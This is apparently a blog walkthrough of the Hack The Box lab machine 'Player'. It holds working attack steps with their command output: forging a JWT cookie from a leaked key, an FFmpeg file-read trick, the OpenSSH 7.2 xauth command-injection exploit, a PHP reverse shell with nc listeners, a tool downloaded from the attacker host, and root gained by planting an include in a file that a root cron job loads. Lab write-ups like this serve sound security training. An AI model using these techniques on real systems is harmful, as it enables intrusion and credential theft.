Hackthebox – Player

As with any machine, we start with a port scan

root@kalivm:~/Player# nmap -sTV -p 1-65535 -oN fullscan_tcp 10.10.10.145
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-02 08:53 CET
Nmap scan report for 10.10.10.145
Host is up (0.014s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http       Apache httpd 2.4.7
6686/tcp open  tcpwrapped
Service Info: Host: player.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.63 seconds

Now the first thing I notice is that the port 6686 says it is a TCP Wrapped port, but no additional information is available yet. Let’s first zoom in on that a little bit.

root@kalivm:~/Player# nmap -sV player.htb -p 6686
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-02 08:55 CET
Nmap scan report for player.htb (10.10.10.145)
Host is up (0.015s latency).

PORT     STATE SERVICE VERSION
6686/tcp open  ssh     OpenSSH 7.2 (protocol 2.0)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds

So that is another SSH server, which strikes me as odd. However, at this moment, I cannot find anything that could be potentially interesting as I do not have any credentials so I continue towards the web server.

As the player.htb domain does not show a page directly, I resort to determining if any interesting directories can be found with Gobuster.

root@kalivm:~/Player# gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://player.htb
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://player.htb
[+] Threads:        10
[+] Wordlist:       /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/11/02 09:57:48 Starting gobuster
===============================================================
/server-status (Status: 403)
/launcher (Status: 301)
===============================================================
2019/11/02 09:59:38 Finished
===============================================================

A first gobuster scan shows the /launcher directory.

After browsing around that page for a bit, nothing particularly interesting was found and on the HTB Forums I found a reference that subdomains might be in use, so I started fuzzing for subdomains.

root@kalivm:~/Player# wfuzz -H 'Host: FUZZ.player.htb' -u 'http://10.10.10.145' -w '/opt/SecLists/Discovery/DNS/shubs-subdomains.txt' --hw 30

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.145/
Total requests: 484700

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                             
===================================================================

000000147:   200        259 L    714 W    9513 Ch     "chat"                                                                                                              
000000152:   200        86 L     229 W    5243 Ch     "dev"                                                                                                               
000001523:   200        63 L     180 W    1470 Ch     "staging"                                                                                                           

Total time: 814.6126
Processed Requests: 484700
Filtered Requests: 484697
Requests/sec.: 595.0067

So in total I find 3 subdomains, chat, dev and staging and add those to my /etc/hosts file and start browsing them.

On Chat, a one-page chat-screen is displayed where a conversation between the Core Developer Vincent and Olia, a project manager was going on about some leaks in the staging environment.

On dev.player.htb, a login screen was displayed and after some research, it appeared to be a Codiad web IDE. This would be very interesting to gain access to as it may allow creation of files on the server! However, at this time, I did not have any credentials so I moved on towards Staging.

The staging area contained a webpage showing a warning about ongoing developments, and also a contacts page.

However, when submitting data to the contact page, an Error 501 was displayed and shortly before that, it appeared as if some other page was displayed for less than a second.

root@kalivm:~/Player# curl http://staging.player.htb/contact.php
array(3) {
  [0]=>
  array(4) {
    ["file"]=>
    string(28) "/var/www/staging/contact.php"
    ["line"]=>
    int(6)
    ["function"]=>
    string(1) "c"
    ["args"]=>
    array(1) {
      [0]=>
      &string(9) "Cleveland"
    }
  }
  [1]=>
  array(4) {
    ["file"]=>
    string(28) "/var/www/staging/contact.php"
    ["line"]=>
    int(3)
    ["function"]=>
    string(1) "b"
    ["args"]=>
    array(1) {
      [0]=>
      &string(5) "Glenn"
    }
  }
  [2]=>
  array(4) {
    ["file"]=>
    string(28) "/var/www/staging/contact.php"
    ["line"]=>
    int(11)
    ["function"]=>
    string(1) "a"
    ["args"]=>
    array(1) {
      [0]=>
      &string(5) "Peter"
    }
  }
}
Database connection failed.Unknown variable user in /var/www/backup/service_config fatal error in /var/www/staging/fix.php

So I opened the contact.html page, saw that it did a POST request to contact.php and I decided to open that with curl which displayed a database connection error.

Some additional gobuster searches eventually led me to a .gitignore file on dev which specified the .swp and ~ files being possible temporary files on the system. So it would be interesting to try all custom files for these extensions and see if they existed. After some searching on staging and dev, I did not yet get any useful results. But when I went back to the main page on /launcher, I tried it on the http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php file mentioned in the registration form.

root@kalivm:~/Player# curl http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~
<?php
require 'vendor/autoload.php';

use \Firebase\JWT\JWT;

if(isset($_COOKIE["access"]))
{
	$key = '_S0_R@nd0m_P@ss_';
	$decoded = JWT::decode($_COOKIE["access"], base64_decode(strtr($key, '-_', '+/')), ['HS256']);
	if($decoded->access_code === "0E76658526655756207688271159624026011393")
	{
		header("Location: 7F2xxxxxxxxxxxxx/");
	}
	else
	{
		header("Location: index.html");
	}
}
else
{
	$token_payload = [
	  'project' => 'PlayBuff',
	  'access_code' => 'C0B137FE2D792459F26FF763CCE44574A5B5AB03'
	];
	$key = '_S0_R@nd0m_P@ss_';
	$jwt = JWT::encode($token_payload, base64_decode(strtr($key, '-_', '+/')), 'HS256');
	$cookiename = 'access';
	setcookie('access',$jwt, time() + (86400 * 30), "/");
	header("Location: index.html");
}

?>

This was interesting as it provided information about the required token in order to provide a ‘header’ call which redirects to another location on the server.

root@kalivm:~/Player# composer require firebase/php-jwt
Do not run Composer as root/super user! See https://getcomposer.org/root for details
Using version ^5.0 for firebase/php-jwt
./composer.json has been updated
Loading composer repositories with package information
Updating dependencies (including require-dev)
Nothing to install or update
Generating autoload files
root@kalivm:~/Player# cat decode.php
<?php
require 'vendor/autoload.php';
use \Firebase\JWT\JWT;

$key = '_S0_R@nd0m_P@ss_';
$token = array(
    'project' => 'PlayBuff',
    'access_code' =&gt '0E76658526655756207688271159624026011393'
);

$jwt = JWT::encode($token, base64_decode(strtr($key, '-_', '+/')), 'HS256');

print_r($jwt);

?>
root@kalivm:~/Player# php < decode.php 
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IjBFNzY2NTg1MjY2NTU3NTYyMDc2ODgyNzExNTk2MjQwMjYwMTEzOTMifQ.VXuTKqw__J4YgcgtOdNDgsLgrFjhN1_WwspYNf_FjyE

After using the php code as a basis for my own decode.php file which would provide me with a valid cookie, I ran the file and set cookie in my browser before doing the next request.

Next thing I know, I got access to the PlayBuff Compact Secure Cloud application. This must be what that discussion on Chat was about, gaining access to their pre-released product! After tampering with the upload mechanism a lot, I found nothing of interest, so I shifted focus to the downloaded file.

root@kalivm:~/Player# file 1736157052.avi 
1736157052.avi: RIFF (little-endian) data, AVI, 224 x 192, video: FFMpeg MPEG-4, audio: Dolby AC3 (stereo, 44100 Hz)

So apparently the file is encoded using FFMpeg, some further research showed that PayloadAllTheThings contains an exploit related to FFMpeg The interesting part is where you can provide a specific file location on the system where the FFMPeg encoder is used, and while encoding, the provided file will also be included as text in the video.

After trying this with various files, including the apache config files to see where the websites were located.
This was where I found that the following vhosts were indeed all there was on Player, but also what their respective locations on disk were.

player.htb         /var/www/html
chat.player.htb    /var/www/chat
dev.player.htb     /var/www/demo
staging.player.htb /var/www/staging

Recalling the error message on staging.player.htb, I decided to also try to get the content of /var/www/backup/service_config as that might contain some additional usernames or passwords which may be interesting. After preparing, uploading and downloading the file, the following results were in the video.

So there is a username telegen and a password d-bC|jC!2uepS/w, after trying this on the dev.staging.htb page, it did not work, on the ssh port on 22 it did not work either, but on the ssh port 6686, I got a connection.

root@kalivm:~/Player# ssh telegen@player.htb -p 6686 
telegen@player.htb's password: 
Last login: Tue Apr 30 18:40:13 2019 from 192.168.0.104
Environment:
  USER=telegen
  LOGNAME=telegen
  HOME=/home/telegen
  PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
  MAIL=/var/mail/telegen
  SHELL=/usr/bin/lshell
  SSH_CLIENT=10.10.14.176 54496 6686
  SSH_CONNECTION=10.10.14.176 54496 10.10.10.145 6686
  SSH_TTY=/dev/pts/4
  TERM=xterm-256color
========= PlayBuff ==========
Welcome to Staging Environment

telegen:~$ ls
*** forbidden command: ls
telegen:~$ pwd
*** forbidden command: pwd
telegen:~$ id
*** forbidden command: id

This was very anoying, it appeared to be an lshell shell, which is a limited shell where commands need to be specified in a config to be executable. After quite some time, trying to break out of this, I requested for a nudge on discord where I was pointed towards a vulnerability in the SSH server on the high port.

root@kalivm:~/Player# searchsploit openssh |grep 7.2
OpenSSH 7.2 - Denial of Service                         | exploits/linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection | exploits/multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration                    | exploits/linux/remote/40136.py
OpenSSHd 7.2p2 - Username Enumeration                   | exploits/linux/remote/40113.txt

After looking at OpenSSH version 7.2 vulnerabilities, these 4 came up and the only one that appeared interesting now that I have credentials, is the xauth Command Injection.

root@kalivm:~/Player# python 39569.py player.htb 6686 telegen 'd-bC|jC!2uepS/w'
INFO:__main__:connecting to: telegen:d-bC|jC!2uepS/w@player.htb:6686
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .readfile user.txt
DEBUG:__main__:auth_cookie: 'xxxx\nsource user.txt\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:30e47abe<NOFLAG>39462d0cf71c0f48
#> 

After trying it, I was able to read the user flag and complete the first part of this box!

Privilege Escalation

Since the POC code for the SSH connection proves to be unstable, I would now certainly like to get a decent shell. I try to read through files that may be of interest, and get disconnected several times because of typos in the filenames or access denied errors. Every time I simple reconnect again and continue where I was left.

root@kalivm:~/Player# python 39569.py player.htb 6686 telegen 'd-bC|jC!2uepS/w'
INFO:__main__:connecting to: telegen:d-bC|jC!2uepS/w@player.htb:6686
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .readfile /var/www/staging/fix.php
DEBUG:__main__:auth_cookie: 'xxxx\nsource /var/www/staging/fix.php\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:< ?php class protected protected protected public return 
----snip---- 
//modified 
//for 
//fix 
//peter 
//CQXpm\z)G5D#%S$y= 
----snip---- 
#> 

After the so umpteenth reconnect, I read the the content of the fix.php file and I spot the commented code containing the name peter and CQXpm\z)G5D#%S$y= which appears to be some sort of hash, or password. After trying the credentials in all places, it appeared that these were for the dev.player.htb Codiad environment. Within this enviroment, it was possible to create a new project and php files within that project that were accessible through the web server.

From there on it was simple to get a working shell, just copy/paste the default php-reverse-shell file contents and modify the IP address within. Save it as a new .php file in codiad.

root@kalivm:~/Player# curl dev.player.htb/home/rshell.php

And then call it with curl and get a shell as www-data!

root@kalivm:~/Player# nc -nlvp 9003
Listening on 0.0.0.0 9003
Connection received on 10.10.10.145 49066
Linux player 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 14:24:08 up  3:50,  0 users,  load average: 0.08, 0.09, 0.04
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@player:/$ export TERM=xterm
export TERM=xterm

After some browsing around through the system, I did not see anything too obvious except a process calling /etc/init.d/dothis.sh which was set to be only executable by world, not readable. So that appeared to be a dead end, it made me curious to see what other processes were running though.

www-data@player:/tmp$ wget 10.10.14.176:8000/enum/pspy64
wget 10.10.14.176:8000/enum/pspy64
--2019-11-08 14:27:54--  http://10.10.14.176:8000/enum/pspy64
Connecting to 10.10.14.176:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4468984 (4.3M) [application/octet-stream]
Saving to: 'pspy64'

100%[======================================>] 4,468,984   3.77MB/s   in 1.1s   

2019-11-08 14:27:55 (3.77 MB/s) - 'pspy64' saved [4468984/4468984]

www-data@player:/tmp$ chmod +x pspy64
chmod +x pspy64
www-data@player:/tmp$ ./pspy64
----snip---
2019/11/08 14:30:50 CMD: UID=0    PID=11630  | /bin/bash /etc/init.d/dothis.sh 
2019/11/08 14:30:50 CMD: UID=0    PID=11629  | /bin/bash /etc/init.d/dothis.sh 
2019/11/08 14:30:55 CMD: UID=0    PID=11632  | /bin/bash /etc/init.d/dothis.sh 
2019/11/08 14:30:55 CMD: UID=0    PID=11631  | /bin/bash /etc/init.d/dothis.sh 
2019/11/08 14:31:01 CMD: UID=0    PID=11633  | /bin/bash /etc/init.d/dothis.sh 
2019/11/08 14:31:01 CMD: UID=0    PID=11634  | sleep 5 
2019/11/08 14:31:01 CMD: UID=0    PID=11635  | CRON 
2019/11/08 14:31:01 CMD: UID=0    PID=11637  | /usr/bin/php /var/lib/playbuff/buff.php 
2019/11/08 14:31:01 CMD: UID=0    PID=11636  | /bin/sh -c /usr/bin/php /var/lib/playbuff/buff.php > /var/lib/playbuff/error.log 
2019/11/08 14:31:02 CMD: UID=33   PID=11639  | /usr/sbin/apache2 -k start 
2019/11/08 14:31:06 CMD: UID=0    PID=11641  | /bin/bash /etc/init.d/dothis.sh 
2019/11/08 14:31:06 CMD: UID=0    PID=11640  | /bin/bash /etc/init.d/dothis.sh 

So I downloaded and ran pspy64 and after watching it for a while, I noticed /var/lib/playbuff/buff.php file being called by root.

www-data@player:/tmp$ cat /var/lib/playbuff/buff.php
<?php
include("/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php");
class playBuff
{
	public $logFile="/var/log/playbuff/logs.txt";
	public $logData="Updated";

	public function __wakeup()
	{
		file_put_contents(__DIR__."/".$this->logFile,$this->logData);
	}
}
$buff = new playBuff();
$serialbuff = serialize($buff);
$data = file_get_contents("/var/lib/playbuff/merge.log");
if(unserialize($data))
{
	$update = file_get_contents("/var/lib/playbuff/logs.txt");
	$query = mysqli_query($conn, "update stats set status='$update' where id=1");
	if($query)
	{
		echo 'Update Success with serialized logs!';
	}
}
else
{
	file_put_contents("/var/lib/playbuff/merge.log","no issues yet");
	$update = file_get_contents("/var/lib/playbuff/logs.txt");
	$query = mysqli_query($conn, "update stats set status='$update' where id=1");
	if($query)
	{
		echo 'Update Success!';
	}
}
?>

Quick analysis of the source code shows that the file /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php is being included. I recalled that I had write access there but decided to verify that.

www-data@player:/tmp$ ls -alh /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php
-rw-r--r-- 1 www-data www-data 286 Mar 25  2019 /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php

Verification shows that I indeed have write permissions on that file so there I can include anything that I would like, in order to gain root access!

www-data@player:/tmp$ cat /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "integrity";

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
?>

As I already have a connection open, but do not want to take too much effort, I simply modify the rshell.php through Codiad.

Making sure that it creates a connection now on port 9002. And then alter the source of the launcher file.

www-data@player:/tmp$ head -n 12 /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php > /tmp/evil.php
www-data@player:/tmp$ echo 'include("/var/www/demo/home/rshell.php");' >> /tmp/evil.php
www-data@player:/tmp$ echo '?>' >> /tmp/evil.php

So I take the first 12 lines, add an include() line, and then neatly close the php file so that no errors will occur.

www-data@player:/tmp$ cat /tmp/evil.php
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "integrity";

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

include("/var/www/demo/home/rshell.php");
?>
www-data@player:/tmp$ cat /tmp/evil.php > /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php

I verify that all modifications are as desired and then copy the content back to the launcher php file. In another terminal I setup my listener and wait for the incoming connection.

root@kalivm:~/Player# nc -nlvp 9002
Listening on 0.0.0.0 9002
Connection received on 10.10.10.145 49246
Linux player 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 14:36:01 up  4:02,  0 users,  load average: 0.29, 0.45, 0.28
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can't access tty; job control turned off
# cat /root/root.txt
7dfc49f8<NOFLAG>d4a58745c5ddf49c

With that connection, being established by root, I am now able to capture the root flag!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.